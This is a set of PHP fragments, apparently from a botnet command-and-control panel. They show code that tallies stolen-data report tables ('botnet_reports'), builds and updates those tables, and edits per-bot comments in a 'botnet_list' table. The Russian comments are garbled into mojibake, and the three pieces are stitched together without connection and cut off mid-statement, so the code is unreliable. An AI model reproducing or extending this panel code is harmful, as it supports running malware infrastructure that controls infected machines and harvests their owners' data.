header('Location: ' . QUERY_STRING); } else { header('Location: ' . QUERY_STRING . '&botnet=' . urlencode($_GET['botnet'])); } die; } //RўRμRєSѓS Pepsi № ‰ P ± RѕS, RЅRμS. define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : ''); ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // R'S <RІRѕRґ RѕR ± C ‰ RμR number ReRЅS "RѕSЂRјR ° C † ReRe. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// $i = 0; $output = str_replace('{WIDTH}', COUNTRYLIST_WIDTH * 2 . 'px', THEME_LIST_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO), THEME_LIST_TITLE); //RџRѕRґSЃS ‡ RμS, RєRѕR "Republic ‡ RμSЃS, RІR ° RѕS, C ‡ RμS, RѕRІ RІ P ± P ° P · Rμ RґR ° RЅRЅS <C ... if (!empty($userData['r_reports_db'])) { $reportsList = listReportTables($config['mysql_db']); $reportsCount = 0; foreach ($reportsList as $table) { if ($mt = @mysql_fetch_row(mysqlQueryEx($table, "SELECT COUNT(*) FROM `{$table}`"))) { $reportsCount += $mt[0]; } } $output .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_REPORTS), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($reportsCount)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $i++; } $output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE; ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// $actionList = ''; if (!empty($userData['r_stats_main_reset'])) {
$cfull = empty($country_names_map[$cn[2]]) ? $cn[2] : mysql_real_escape_string($country_names_map[$cn[2]]); $inserts[] = "('{$cn[0]}', '{$cn[1]}', '{$cn[2]}', '{$cfull}')"; if (count($inserts) > 100) { mysql_query($insert . implode(',', $inserts)); $inserts = array(); } } mysql_query($insert . implode(',', $inserts)); unset($list); } } else { if (strcmp($table, 'botnet_reports') == 0) { if ($error = !CreateTable($table)) { break; } $rlist = listReportTables($pd_mysql_db); foreach ($rlist as $rtable) { if ($error = !UpdateTableEx($rtable, 'botnet_reports')) { break; } } } else { $error = !($is_update ? UpdateTable($table) : CreateTable($table)); } } if ($error) { break; } } } if (!$error) {
require_once 'system/lib/MVC.php'; $db = dbPDO::singleton(); switch ($_GET['ajax']) { case 'bot-comment': $q = $db->prepare('UPDATE `botnet_list` SET `comment`=:comment WHERE `bot_id`=:botId;'); $q->execute(array(':botId' => $_REQUEST['botId'], ':comment' => $_REQUEST['comment'])); break; } die; } catch (Exception $e) { http_error400('Exception ' . get_class($e) . ':' . $e->getMessage()); die; } } $_allow_remove = !empty($userData['r_reports_db_edit']); $rlist = listReportTables(); //Получение списка таблиц botnet_reports_*. /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод отдельного лога. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Brief View Mode */ if (isset($_GET['t'], $_GET['id'], $_GET['viewmode'])) { require_once 'system/lib/dbpdo.php'; $_GET['t'] = (int) $_GET['t']; $_GET['id'] = (int) $_GET['id']; switch ($_GET['viewmode']) { case 'brief': $db = dbPDO::singleton(); $q = $db->prepare('SELECT `r`.`botnet`, `r`.`bot_id`, `r`.`country`, `b`.`comment` AS `bot_comment`,